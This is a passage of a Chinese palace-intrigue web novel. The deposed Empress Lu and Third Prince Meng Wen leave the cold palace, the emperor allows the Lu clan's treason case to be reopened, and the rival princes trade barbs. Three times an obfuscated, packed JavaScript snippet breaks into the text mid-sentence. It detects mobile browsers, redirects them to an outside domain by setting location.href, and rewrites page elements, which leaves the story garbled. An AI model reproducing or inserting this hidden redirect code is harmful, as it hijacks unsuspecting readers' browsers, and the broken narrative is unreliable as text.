祝大人垂首沉默候在一旁,眼见御笔蘸着朱墨,落笔成文,印玺蘸着武都紫泥落下,这手谕便拟成了。 孟雍抬眼见尚泓,说道:“来得正好,将这手谕送去冷宫吧。” 穿过万千宫阙,西苑的西南角飘起阵阵炊烟,萦绕在棠梨树枝头。 冷宫里纵缺衣少食,宫人们也会积攒下米面与油盐,用药材混着馅料包进馄饨里,为在这天勉强过上一次完整的冬节。 往年都是如此的。 今年却与从前不同了,炭火柴薪、衣物吃食如流水般送进了西苑,门外也没了对他们颐指气使的人。 宫人们不知转变为何突如其来,只知多了暖和的冬衣,填满米缸的食粮,不必再为了节日过后的冻馁而发愁了。 徴音端着刚刚出炉的羹汤,掀了帘子进到陆皇后房中,笑道:“夫人,该用饭了。今日我给夫人炖了盅羊肉羹,冬日吃了暖身,您起来尝尝吧。” 陆皇后望着碗底升起的热气,苦笑着道:“难为你有心,只是我还没什么胃口,先放着吧。” 徴音劝道:“为了这碗肉羹,我在小厨房里守了一个时辰。夫人且尝一两口吧,若真不喜欢就不吃了。” 羽音挪了桌案过来,从盅里盛出一碗羊肉羹,坐在榻边侍奉陆皇后用饭。 陆皇后只尝了一口,就察觉出了异样,问她道:“这肉羹里加了什么?” 羽音听了顿觉惊慌,不分青红皂白就对着羹汤一顿翻搅,边搅边道:“你胡乱加了些什么?夫人尚在病中,忌辛辣,不可用山姜椒子,你这么快就忘了。” 徴音道:“没用那些佐料,是我自作主张加了山黄皮,可以祛腥膻。” “山黄皮……”陆皇后细细品着口中滋味,已有数年没有尝过这个味道了。她说,“让我想起在家中做女儿的时候,先母也喜欢在煮肉羹时加一些。你怎么会用它来炖煮羊肉?” 徴音说:“是鸣竹教我的,她说夫人会喜欢。” 陆皇后抿开舌尖的酸涩,抬手遮住眼,后知后觉地笑了起来。 徴音却见她的衣袖之后,藏着两行清泪。 她说:“是啊,本该喜欢的。” 徴音也长舒了一口气。 徴音端着见了底的汤碗出去,见三皇子也刚从书房里出来,于是欢喜地迎上前,喋喋不休地邀功:“夫人睡了一个晌午,气色好了许多,醒来时吃完了一整碗肉羹,多亏了这些山黄皮,夫人才肯多进食一些。” “山黄皮……”孟闻听着这个极陌生的词,颇为诧异,“是赏赐里的吗?” 徴音道:“不是,是鸣竹送来的。” 孟闻问:“她何时又来过?” 徴音道:“昨日,在送赏赐的公公来过之后。那时您在屋里读书,便没有打搅您。” “还有吗?”他问。 “还剩下一些,不多了。” 徴音从厨下端出一个竹编笸箩,孟闻看着竹笸箩中晒成褐色的果干,不禁猜想,此物产自岭南,她在深宫之中,如何弄得到这东西? 孟闻道:“她有没有说起过,她如今在那个宫当值?” 徴音细想一番,回道:“似乎没说起过,或许是掖庭的宫人吧。” 适逢此时,高墙外的脚步声打破了院内的清净,冷宫外来了一群不速之客。 尚常侍片刻不歇,携一道手谕绕过千百堵宫墙送至冷宫,时隔七年,陛下终于下令召见三皇子。 宦官宣读的一字一句全都被搅碎在风里,冷宫里的人并未因此生出半分喜意。直到头顶上传来的声音落了,孟闻停在原地迟迟没有起身上前。 尚常侍道:“三皇子怎的还不起身?” 孟闻道:“陛下召我何事?” “此事臣也不知晓,臣只是负责传达陛下的手谕。”尚常侍催促道,“三皇子,快快去更衣吧,莫让陛下久等了。” 陆皇后站在檐下,扫了尚泓一眼,转而看向孟闻唤道:“闻儿,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“儿拜见父皇。” 孟闻以手加额,朝着那虚晃的人影重重顿首,寒意从掌心袭来,每一寸发丝都叫嚣着抗拒。 “闻儿,多年不见。” 这一声呼唤许久才从屏风后传来,他们二人隔了太远。 阻在父子之间的何止是鸿嘉殿与掖庭宫,还有七载春秋,以及陆氏全族的性命。 物是人非。 侍者扶着皇帝缓缓从屏风后步出,待其坐定在书案前,便掩门退了出去。 孟壅对着他长叹道:“你已长成人了。” 孟闻没有说话,只抬眼看去,见他也发须花白,满目沧桑。 孟壅提笔蘸着未干的墨,在白净宣纸上落下方方正正的“睢言”二字。 “睢言、睢言……”他反复咀嚼这二字的寓意,“你及冠这年,阿父不曾亲自为你加冠,韫之她为你取的字,是睢言吗?” 孟闻道:“是。” 孟壅道:“这些年,她可还安好?” 孟闻答:“安好谈不上,勉强度日而已。七载不相见,父皇心中没有半分愧疚吗?” 孟壅道:“鸣鸾宫已空置了多年,后位也如是。凤印就在那里,谁也不曾拿去。朕想见她时,是她不愿见朕。” 孟闻道:“可父皇知晓,母亲她想要的不是皇后之位,是公道,是真相而已。” 孟壅搁下笔,无力靠在座上,扼腕叹息:“朕也想过挽回,可是过往不谏,还揪着过去那些事不放,有何用呢?” “父皇——”他攥紧衣角膝行上前,对上帝王一双慈目。 “起来吧。”孟壅在座上垂目看他,“这么长时日你在西苑受苦了,当作是补偿,为父许你一个恩典。” 孟闻并未起身,以手加额道:“儿恳请——” 孟壅打断了他:“只此一个,想好了再说。” 长久地顿首过后,孟闻抬眼望向那描金漆木案,书案之后的人面目模糊。 皇帝在问他,是要权柄还是要真相。 8. 掌中栖雪(八) 漫天风雪,宫门破败。 孟闻不记得自己是怎么走出了鸿嘉殿,只记得炭火温暖,生父冷言。 回首时有紫气自东来,可他还是选择回到了那座偏远的宫殿。 没等他细想,羽音端着后厨煎好的药过来,打断了他的思绪。 “殿下,今天的药煎好了。” “好,辛苦了。” 孟闻装作无事发生,从食案上端过药碗,如往常一样侍奉在陆皇后榻侧,温声笑着:“儿为母亲尝药。” 陆皇后抿着唇不言,他刚从鸿嘉殿回来,此事凝成了心中芥蒂,纵有万千疑惑,却如鲠在喉,一个字也问不出口。 他察觉了母亲心思,盛了一勺晾凉送至她嘴边,如母亲哄幼时的他那般温和劝道:“今日的药煎得刚好,没有昨日的苦。” 褐色的汤药经由唇齿滚入喉肠,陆韫之却觉得这药极苦,苦得她鼻腔酸涩,眼泪都要冒出来了。 “母亲,您怎么哭了?” 孟闻搁下药碗,既心虚又慌张,隔空几番摸索才从羽音手中接过帕子,替母拭去眼角的泪。 陆皇后推开他的手,偏过脸道:“你不必顾我。” 孟闻道:“阿母是怪我去了鸿嘉殿?” “不。”她垂下头去拭泪,自责不已,“这么多年来,是母亲耽误了你啊。” 孟闻道:“母亲为何这样说?当年外祖父与舅父皆为奸人所陷害,他已下令彻查当年之事,请母亲再等一等。” 已等了一个七年,至于要再等多少时日,他也说不准。谁也不知道这一场雪还会下多久。 陆皇后心灰意冷道:“他若真在乎真相,又何必隔了数个春秋?让你眼见仇人鸡犬升天,等到卷帙不存,证人不再,还能查出个什么?” 孟闻道:“可是母亲,困在这里才是什么也做不了,更无法还外祖一个清白。在低檐之下,日复一日等着门外的施舍,就好似等死一般。儿知道当年之事成了母亲的心结,已困住您七年,不忍由它困您后半生。” 陆皇后抬手抚他鬓边,轻叹一声:“痴子。” 叫她如何忍心将旧年过往尽数拖出,告知他龙椅上的天子是怎样的刻薄寡恩,曾为她筑高楼,也让她坠下高楼。 以族人身死为代价,她才看清了枕边人的真面目。贪污、通敌、谋逆……种种罪责施加于陆氏,归根结底只是为了他自己,为了翦除那些威胁皇权的羽翼,好让他自己能在那位置上坐得更稳一些。 多年以后,待帝王的目的达到了,再还她一个无关紧要的真相。 她喃喃自言道:“他岂会不知晓真相?只是不在乎而已。” 几日后,冷宫里又迎来了一位不速之客,也是七年来第一个明目张胆前来拜访她的客人。 华贵的步辇停在了后宫最西边的宫苑门前,却连个出来相迎的宫人都没有。 彼时冷宫的人都在忙碌,有的在树下拾薪,有的灶头烧着锅台,厨下被火烤得又干又热,灰瓦屋顶上冒起了炊烟。 徴音和羽音坐在小厨房外,拿一块炭火熏过的姜,给彼此擦拭手上的冻疮。 敲门无人应,两个裹着青色夹袄的宫人推开了左右两扇门,另一个宫人搀扶着一位身量纤细的宫装妇人走进门来。 妇人缓鬓斜髻,髻上簪两簇银步摇,广袖与蔽膝自腰间垂落,随风而摆。已去了繁琐的首饰,只着素裳,仍与此地的荒凉破败格格不入。 妇人正是六皇子的生母——栖梧宫的杜修容。 陆芃也随她一道来了,在主子身后搀扶着,目光却忍不住往这破败的屋舍里瞟。 羽音见了屋外那群人,当即扔了姜块,拍了拍裙子起身冲出门去,气势汹汹质问道:“你们是何人?青天白日闯进门来,好生无礼!” 陆芃向她行了一礼,说道:“栖梧宫的杜修容,来见你们夫人,能否劳烦你前去通传一声?” 羽音斜着睨她一眼,道:“夫人已休憩了,不见客。” 陆芃还欲说些什么,被杜修容抬手屏退了。 杜修容抬眼打量着四周,目光自高大的棠梨树落到残破的窗户上,她施施然开口道:“做妹妹的久矣不曾来看过阿姊,阿姊对我有怨,是不欢迎我了?” “多年不见,你我也无旧可叙,今日又来做什么?” 廊下传来一道庄严的女声,三皇子闻搀着母亲从屋内步出,冷眼看向那庭院中人。 深宫苑里旧相识,一见应如故,只是再见鬓斑白,转头朱颜改。 杜修容望着廊下形容憔悴的女子,几乎不敢相认。她走上前来,温言软语道:“冬至之日本该阖宫团圆,请不得你出去,我只能亲自来了。” 陆皇后冷然道:“年年如此,怎么今年想起来团圆了?冷宫罪妇,不堪与万岁同席;蓬荜陋屋,难容千金之躯。修容请回吧。” 杜修容道:“好歹当初姊妹一场,好不容易见上一面,不必如此着急赶我吧?” 陆皇后道:“无利不起早,你此番来见我,是替他当说客来了?” 杜修容摇摇头,道:“不是为了章华宝殿的陛下,是为你,也是为我自己。陛下病笃,我守在鸿嘉殿外那一月想清楚些事情,忽而想与阿姊好好谈一谈,阿姊能否赏面?” 孟闻抬手拦在了陆皇后身前,冷声道:“母亲与你没什么好谈的,徴音,送客。” 杜修容不理会他,单单望向陆皇后,抬袖掩面笑道:“可阿姊就不想知道,那日陛下召三皇子入鸿嘉殿,曾允诺了他什么?” 孟闻道:“母亲勿要信她,当日鸿嘉殿内只有儿与父皇两人,她根本无从知晓。” 杜修容又道:“你就不想知道,三皇子为此放弃了什么吗?” “住口!”他横眉冷目呵斥一声,当即就要遣人逐客,却被陆皇后拦了下来。 陆皇后侧目看了他一眼,叹息一声。 “你既说要谈,便好好地谈一谈吧。” 她随即转身进了屋,吩咐徴音搬张席子过来,请杜修容入座。 所有人都被隔在门外,屋内只有隔案相对跽坐的二人。 茶炉下的炭火燃得噼里啪啦,时不时溅起几点火星,一声声地穿插在茶水的滚沸声里,平白令焦躁涌上心头。 陆皇后率先开口道:“他让你转告我什么?” 杜修容道:“我不是为做陛下的说客而来。旧事已过,阿姊须得朝前看了。” 陆皇后垂下眼睑,苦笑道:“若我能看得开,就不会置身此处了。” 杜修容劝道:“阿姊就为了争那一口气,平白受了七年苦,倒头来熬垮了身子,什么也没争到。” 陆皇后道:“我知过往不柬,死者不可复生,可我亦心非木石,家族突遭横祸,父兄惨死,你让我如何每日对着始作俑者强颜欢笑?若非闻儿那时年幼,我怕是已随父兄去了,何苦强撑至今?” 杜修容道:“你既是为了他,何不多为他谋算一些?本该享有的王爵封地、千金食禄,他一样也不曾有。贵为皇嗣却也困毙笼中,坐井观天,他又何其无辜?” 陆皇后道:“枉你苦心劝我,闻儿出了冷宫,对你儿子又有何好处?” 杜修容道:“六郎尚年幼,论文韬武略哪里比得上他两个兄长?论身后靠山哪里比得上薛家和陈家?你久在冷宫对门外事不闻不问,怕是不知道四皇子与五皇子为何夭折。转眼间薛家与陈家都已如日中天了,思来想去,大皇子与二皇子早早就离章华殿这么近了,终有一日会争个你死我活。我不敢奢望他们日后会顾及手足之情,留我儿一条生路。为了六郎,我不得不早做打算。” 陆皇后道:“所以呢?你想闻儿也去淌这趟混水,以此来保你孩子的平安?” 杜修容道:“当初从王府到宫城,你我不也是这么扶持着过来的吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361913|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆皇后摇了摇头道:“当时的一路太苦,我不愿闻儿走上同样的路。” 杜修容道:“你以为置身事外便可保他顺遂半生吗?既已生在帝王家,哪里由得了他去选?昨日陛下来我宫中,见桌上放着一碟鹿肉脯,忽然说起三皇子年少时的事。” 提及孟闻,陆皇后才肯抬眼看她。 她既而说道:“说的便是多年前,他因一时恻隐,被大皇子夺去母鹿的那一件事。我听出来了,陛下有怨责,责他不该如此。阿姊应该能猜到,陛下为何突然有所退让,下令彻查当年旧事?那是三皇子去求来的,是拿了另一份恩典去换的。” 至于那份恩典是什么,无人说破。 那是皇权阶陛下,鸿嘉正殿前独此一份的偏私。 杜修容道:“陛下已生了这个心思,他无论如何都逃不开。” 她说完时,对坐的废后早已缄默了良久。啜着一口苦涩的茶,带着苦笑,坐在残破的宫苑,漏风的屋室正中,如蜉蝣一点。只余残躯一副,却依旧有人不管不顾为她这副残躯奔忙。 见她不言,杜修容倾身上前握住她的手,声音近乎哀求:“阿姊,当年是我对不住你,只当是我求你,朝前路看吧。” 陆皇后无声拂落她的手,轻声叹道:“我早就什么也没有了,只剩下一个闻儿。可你今日说的这番话又像是在告诉我,不论我作何选都是错的。当年错,今又错。” “阿姊——” “你走吧!不必劝我。”陆皇后低垂着眼,看茶案上的粗瓷茶杯从始至终没挪动过半分,于是笑道,“冷宫里只拿得出粗茶招待,让你见笑了。” 杜修容抿了抿唇,难为情地笑了下。 她理了理衣衫离席,精心维持着另一人早就抛弃的体面与礼数。 一人求荣华,一人求公道,怎么走得到一处去呢? 紧闭的屋门从内打开,屋外候着的人目光即刻迎了上去。 陆芃忍不住向前迈了半步,恨不能走近些,亲眼看一看屋里的人,却还是没胆量上前,最后只停在孟闻身后。 只有修容一人从屋内出来了,她淡淡回眸望了一眼,遗憾道:“回去吧。” 陆芃顺着咳声悄然往窥向屋内,仅仅看见一个落寞的背影。正是她的姑母,当年才冠京城、母仪天下的陆家女郎。 可眼下她藏着昏暗的影子里,垂着头似有些佝偻。 此情此景,陆芃没了再去窥第二眼的勇气。 然她也怕一旦踏出这道门槛,便再难相见,相认又是何年? 姑母太过执拗,也因此尝尽苦楚。 人走了,炉中的茶水也停止了滚沸,屋中还弥漫着淡淡的棠梨香。 两扇木门还敞开着,陆皇后转头看着门外立着的人,缓缓道:“闻儿,你过来,我有话要问你。” 孟闻踏过门槛,垂首拢袖而立,唤了一声:“母亲。” 随后等着她的质问,或是叱责。 可是她没有,她只是轻声唤他过来坐下,倒掉那杯已经凉透的茶,想为他另斟一杯。 “这些事,让儿来做就好。”孟闻拦住了她要提茶壶的手,又叮嘱她说,“甘棠性寒,这茶母亲少喝一些。” 她没有提起鸿嘉殿的事,只是一遍遍地叹息:“我儿因我受苦了。” 孟闻道:“能与母亲相伴,儿从未觉得辛苦。母亲在冷宫一日,儿便相随左右,绝不离弃。” 他是情愿甘之如饴的,只是想到母亲一天天将自己困在颓圮的垣墙里,难免酸涩。 陆皇后淡淡一笑:“少年之时,谁人不是心在山河,志在四方。我如今想清楚了,自囚于西苑,是我自己选的。你若有想做的事,阿母不拦你。” 他默默添茶,说着那颇为无力的许诺:“当年真相会查清的,请母亲再等一等。” 只是今年雪何时会停,春何时至,谁也不懂。 9. 掌中栖雪(九) 那日,陛下与尚书令、崔太常几人在御花园中赏雪,忽然说起故园的棠棣树。几位臣下心中了然,陛下这是思念故人了。 果不其然,等了几日雪晴,宫人们忙着清扫掖庭通往冷宫的那一条宫道。 陛下已恩准陆皇后与三皇子重回鸣鸾宫,冷宫里已经没有人了。废后入冷宫以后,陛下就再也没有生过立后的心思。旁人都在猜测,此番会不会恢复她的皇后之位。 竺影与二皇子途径那条宫道时,蓦然听到一阵摇铃声,不久就看到声势浩大的仪仗从掖庭里出来,沿着青石板道向东而去。 孟晓只当是看个热闹,竺影自觉垂首退至道路一旁,悄然窥着摇摇晃晃的步辇从她面前而过。 辇上的漆金映雪,华盖边上系着金铃,垂下的绸带飘如流云。那人拥着一件崭新的狐裘端坐于其上,一手扶在辇上,细细摩挲指间的白玉扳指。 鸣珂锵玉,金铃当啷,如在漫天飞雪的宫城见了神仙中人。 视线再往上时,轻纱遮去了面靥,叫竺影看不真切。 他兀自垂眸静坐,没向沿途施予半分眼神,也没回望西苑一眼。 直到步辇抬出很远,孟晓才唤回她的神思:“在看什么?” 竺影回过神,却道:“我见有人金玉其外,却是满身死气。” 其实她本想说,在看一个将死之人。 说的不是三皇子,而是走在他前面的那位——刚出冷宫的陆皇后,那个困居在暗室,连天日都不肯见一见的人。 今日一见,依旧面容僝僽,那是一身金缕衣都遮不住的死气,她的确没几年好活了。 孟晓轻轻一笑:“这样不怕死的话,就不怕传入了他耳朵里?” “他听不到的。” 竺影望向宫道另一端,贵人的仪驾已走出很远,早看不见影子了。 从冷宫出来的仪仗行至鸣鸾宫,在宫门口停了辇。 孟闻抬首望着新修的正门,与记忆当中的故居相去甚远。匾额上“鸣鸾”二字描了金漆,在雪晴的天日里熠熠生辉。 这里曾是他生活了十三年的地方,也是阔别七年的屋宇。他已远离权力争端七年,而今又踏入此地。 许是他的父皇面对朝中尾大不掉的势力,急需一个新的掣肘,才想起要把他推到时局中来。 所有的祸端自此地而生,所有的风雨朝此地而来。唯因这里是皇后的寝宫,是后宫掖庭女子争相向往,前朝外廷臣子妄图攫为己用的高台。 此前他所领教的全部阴谋诡谲,全因他身负的殊荣,因他承不住的权位。 他扶陆皇后走上踏跺,跨过门槛,一步步往深处走。 十余个宫人在庭中来来往往,陆陆续续将行李物件搬进屋子里。 寝宫里里外外都翻新过,装潢摆件都是新添置的。龙凤绕柱,雕梁画栋,原本色泽已经暗淡无光的图画,工匠又用彩漆重新描绘了一遍。 一如当年金碧辉煌。 宫殿原本的主人正站在廊下,看着廊外经年长青的竹丛,地上翻出了一片新泥,那儿还有两株新移栽到此处的棠棣,树叶零落,堕了满地。 孟闻走向外廊,温声道:“母亲,坐下歇息一会吧,屋里暖和些。” 陆皇后神色疲惫,轻点了点头。 羽音前来搀扶她时,她却又说:“就在此处坐着,不用到屋里去,我不觉着冷。” 羽音便去挪了坐席过来,陪她在廊下坐着。 徴音方从外头回来,径直向三皇子走去,朝他行礼道:“殿下,我去打听过了,掖庭宫里没有一个叫鸣竹的人。” 孟闻听了,并不觉得意外:“兴许不在掖庭呢?” 又或许她连名字都是假的。 徴音问:“那还需要再去盘问吗?” 孟闻道:“不必了,我目下还有其他事要忙,你同羽音照顾好夫人便可,其余之人我信不过。” 自三皇子受召入鸿嘉殿以来,已经过去一旬有余,刑部重新摊开尘封多年的案宗,秘阁里翻出了落灰的卷帙。 他得了陛下应允,开始暗中调查此事,重新捋起当年案件的蛛丝马迹。 起初,北地逢上一场十年不遇的寒灾,赈灾款却迟迟不达,致使数万灾民死于冻馁。 那时尚书陆澄奉命驻守并州,值此休养生息之际,北边的乌护部落突然来犯,夺走了并州以北十一城,修建了四年的观星楼也在一夕之间毁于大火。 皇帝下令彻查此事,竟查出朝中蛀虫累计贪下北地赈灾款四百万,下狱问斩的官员达数百众,余下抄家的抄家,流放的流放。 不久,有人告发陆尚书不仅贪下了北地赈灾款,擅自动用北地军费,更是勾结前朝余党,放任北地官员胡作非为,才使外族得以趁虚而入。 朝中派人搜查陆尚书府邸,还未搜出勾结前朝余党的证据,却先搜出一篇檄文,文中贬斥皇帝“暴戾恣睢,群怨孔彰”,皇帝见后大怒,将陆尚书革职下狱。 檄文一事是陆尚书所为还是遭人构陷,此事未有定论,陆氏族人尚在狱中等候发落。紧接着,一纸联系前朝余党的书信呈到了陛下面前,其上钤有陆尚书私印,正是这份证据直接将陆氏一族送上了断头台。 一切都发生地太过突然,诸多矛盾堆积在了一起,以至于时人来不及细想,便匆忙断了案。 直到宁朔九年的春雨淋透刑台上的血,真相一如浸在烟雨朦胧中的万千楼台,琢磨不清。 当年的真相全都被掩盖过去了,无人敢提起那桩过往。史官吝啬于就此事添上一笔,秘阁所藏的卷帙也大多对此含糊其辞。 这段时日,三皇子成了秘阁的常客,陛下明面上让他进秘书监跟随祝大人修习,实际是让祝从嘉协助调查旧案。 孟闻只带了商音与角音两个侍从,在落满灰尘的卷宗里挑捡,想寻到些线索,有时一翻就是整日。 祝大人依旧坐在临窗的那个位置上,看着他来来往往,最终无功而返。 三皇子望着他欲言又止。他对这位“天子近臣”不甚了解,更不愿轻易劳烦一个病人。 从嘉直言道:“陛下有吩咐过,三皇子若有疑虑,尽可以问下官。” 孟闻停住,看着眼前面目苍白的年轻人,思忖道:“确有疑虑。我知道这里只存放定罪的卷宗,不会留有其余人的罪证。然而当年之事牵扯甚广,必然会有漏网之鱼。所以想问一问大人,当年与陆尚书一同去往北地的,除尚书左仆射王若外,还有谁?” 祝从嘉缓缓道来:“当年王大人与陆大人督北三州军事,同时兼任观星楼督建之事。容桢,容大人,从前协助陆大人修建观星楼,如今官至侍郎,兼给事中。至于跟随容大人的两位副手,一名徐彦,一名沈亭,早在当年被下狱问斩。自八年九月始,北地渐入寒冬,陆大人那时负责与朝中派出赈灾的官员对接。后来东窗事发,凡是经手过赈灾钱粮的官员,也都难辞其咎,其中有十一人斩首,二十三员抄家、流放。” 孟闻道:“想不到祝大人常年在秘阁,竟会对北地之事有所了解。” 祝从嘉道:“下官是云琅人士,生在北地,知晓一二倒不是什么难事。” 孟闻又问:“当时朝中派往并州,与我外祖对接的官员是谁?” 祝从嘉道:“是前任竺太常,现流放交州。” “交州……”他低头自语,不知在想些什么。 祝从嘉提醒他道:“此案了结已过去七年,许多卷帙没能保存下来,从文书入手有如大海捞针,倒不如从生人身上找线索。检举陆大人的证词由季氏父子呈上,他二位现如今在中书省任职,殿下或可以从他们身上查起。” 孟闻又问:“既有人举证,证据从何来?” 祝从嘉道:“从陆府门客士端家中搜出来的。” “士端何在?” “呈证后,畏罪自裁而死。” “死无对证,如此多的蹊跷,竟也能断案?” 祝从嘉轻摇了摇头,发出声似有若无的叹息:“盛怒之下,谁人又敢为其辩解呢?此事多年无人再提及,陛下容许再查,已是分外之情,殿下须得知晓分寸。” “多谢大人提醒。”孟闻朝他点了点头,又拢着几沓书页往书架尽头去。 待到几日后,中书舍人季常进宫,三皇子等候在他的必经之路。 他本与两位同僚并行,见了孟闻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361914|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先是一愣,随后拢袖行礼。 “见过三皇子。” 睢言道:“季舍人不必多礼。” 多年过去,少年已成青年,后者已年近半百。 他老了,或许也没那么老,只是官袍陈旧,在青年面前一副做低的臣子姿态,佝偻了些许。 孟闻道:“不知季舍人可有闲暇,移步秘阁喝一杯茶?” 季常虽心有疑虑,却还是向两位同僚告辞,与三皇子道一声:“殿下相邀,却之不恭。” 今日秘书令、丞两位大人休沐,阁中只有两个内官值守。 二皇子到秘书监时,季舍人早已离去了。 进了门却不见人,拢共不过二层楼,孟晓循着窸窸窣窣的声音寻去,只见个锦衣玉冠的青年坐在两扇书架前翻阅卷宗。 他也不上前打招呼,只靠在一旁架上,随手取了一本书翻看。 直到三皇子的侍从商音捧书而来,向他行礼。 孟闻顿时收起书卷,仰头朝他望去,恰见他偏头一笑: “三郎,别来无恙否?” 孟闻从一堆卷帙中起身,带起些灰尘。随手拂了拂衣袖,便朝孟晓拱手,喊了一声“皇兄”,不冷也不热。 孟晓合书塞回架上,朝他走去。 “听闻你一出冷宫就忙得脚不沾地,想见同你上一面,还得来这里。” 孟闻问:“有事?” 孟晓道:“无事。” 孟闻单单抬眼看他:“难道你跑这么远,是为一句寒暄的么?” 孟晓反问:“难不成你指望我怀揣些别的心思?” 睢言收拢了几份卷宗,不欲再与之多言,要往别处去。 “我来时见到了季舍人。”经过他身侧时,孟晓突然道,“你见他,可问出什么来了?” 孟闻警觉地看向他。 明谌拍了拍他的肩,似安抚道:“躲我做什么?我都舍得帮你这么大一个忙了,还能害你不成?” 睢言道:“你若能在孟觉手里讨到半分好处,会想起我来?” “嗤——”孟晓没忍住笑出了声,“就这样对待你的兄长,给你雪中送炭的恩人?” 雪中送炭…… 他似乎想起些什么。 “原来那宫人也是你派来的?” 明谌却故作不懂:“什么宫人?” “懒得与你说。”睢言便又将他冷在一旁,兀自在架上翻找。 两人你一言我一语地发问,却都没从对方口中得到半个字答复,皆是含糊其辞,假假真真。 明谌无奈叹道:“说到底是手足,同在宫里长大,又在太学有过一段同席共研磨的情谊,你我又何必如此?” 睢言敲了敲手中卷宗,说道:“前提是陈氏与当年之事毫无干系,皇兄能担保吗?” 孟晓道:“我倒是想替他们担保,你也是不会信的罢?” 孟闻只顾着找书,不答话。 孟晓摆了摆手,俨然一副怒其不争的姿态:“罢了。你还是和少时一样偏执。” 前朝沸沸扬扬的党争他不闻不问,依旧浸在这一堆陈年芝麻烂谷子事里,揪着一些旧事不放。怕是忘了请他出来是做什么的了。 今日一见,也仅是寒暄,孟晓没再多留。 他走时,那人在他身后问了一句:“我是不是该预先恭喜皇兄?” “恭喜我什么?” 孟晓止住脚步,问完了才后知后觉反应过来,许是恭喜他不日将出宫开府。 “恭喜”二字如火上浇油,惹得明谌心中颇为躁郁。 可是见三郎眼中是不带调侃的诚恳,明谌又不怒反笑,到底是自己在泥泞里待了太久,竟不信世间有赤忱,于是自嘲道:“这有什么好恭喜的?” 睢言不知怎么接话,便换了个话头:“的确该谢皇兄,本应由我去拜访你的,不想你会亲自过来。可我必须得先忙完手头的事。” “天真。”语气刚缓和些,孟晓又毫不留情地奚落他,“你当这是什么小事吗?是一朝一夕就能查清楚的?眼前人与过往事,孰轻孰重你总该分得清吧?” 他固执道:“我既为过往,也为眼前。” 10. 掌中栖雪(十) 封王之事很快就有了着落。 皇帝当着一众朝臣的面,下旨封二皇子晓为齐王,食邑八千户。在上京赐下府邸,赐婚崔家。 这是岁暮里难得的喜事,许多宫人兴冲冲奔往静和宫道喜,期盼着在主子心情好时沾点赏赐。 静和宫的主子久承圣宠,出手极为阔绰,那些得了赏赐的宫人又闹哄哄离去,一路上说尽她的好话。 喧闹过去,正当紫裳问她:“夫人需不需吩咐厨房,今日多备几道菜肴,待殿下回来了,好好庆祝一番?” 宜夫人望着窗外,却突然叹了口气道:“不必,这样的天气,再多的菜肴也是易冷的。” 竺影与紫裳都在屋内候着,忽闻廊外传来一阵急促的脚步声,有人自宫外奔来,宫人们通报不及,只能焦急跟在他身后。 二皇子回来了。 这一路走得匆忙,他连衣裳都没换下,停在廊下时尚喘着粗气,在冷天里凝成丝丝缕缕的热气。他什么话也没说,隔着门扉与竺影对视了一眼,眉宇间隐隐有怒气。 谁人都看出二皇子心有不忿,也不知其间出现了什么变故,阖宫的喜意在他回来后烟消云散了。 孟晓在门外平复了心情,才推门进去,只与夫人对视着不发话,气氛很是微妙。 直到夫人先发话,吩咐她们:“都下去吧。” 竺影与紫裳如获大赦,即刻抬脚踏出门去,掩上门的一瞬,竟觉屋外寒风吹得人多舒坦几分。 就在一墙之隔的地方,隐隐约约传来争执之声。 孟晓道:“为何赐婚的事,我不知晓?” 宜夫人道:“是你父皇的意思。齐地富饶,崔家亦是声名显赫,崔家女公子才名在外,你到底有什么不满意的?” 孟晓道:“若无母亲首肯,父皇会答应吗?母亲纵这前程说得千般好万般好,可从没问过我,这些是不是我想要的。” 面对他带着指责的质问,如斯大逆不道,夫人却只云淡风轻一言以复:“由得了你选吗?” 明谌紧攥着拳,一言不发,乃至玉扳指在食指上磨出了红痕。 “你说你不想要这些,不想娶崔家女,可你看看这前朝与后宫,哪一个走上高位的人不靠拉拢,无需帮衬?是不是要看到你那些兄弟都压你一头,要看到陈家落得和陆氏一样的下场,你才会满意? “你能有今日的优渥,凭的是读得好书,猎得了鹿?若无陈家在背后,你父皇会多看你几眼?若再得崔家相助,将来分给你的只会多不会少。你要喜欢什么的宫婢,做过什么出格的事情,我从未拦过你,唯独此事没有商量的余地!” 竺影靠在墙外静静听着,不自觉攥住了衣角。 倒也像她所了解的宜夫人,尚书令的长女。 至于二皇子后来说了什么,她没听清。 夫人手中的杯盏砸在窗上,在窗纸上洇出褐色的茶渍,瓷杯摔了个四碎。 只听宜夫人骂道:“你要是真有本事,就拿着这封圣旨,去叫你的好父皇收回成命!” 一场争执不欢而散。 没过多久,二皇子从屋内步出,宫人从两侧鱼贯而入,收拾起屋内的满地狼藉。 竺影与他隔了几丈的距离,见他一步步走近直至擦肩而过,最后不甘地停在她身后几步。 “你就没什么要说的?”孟晓问她。 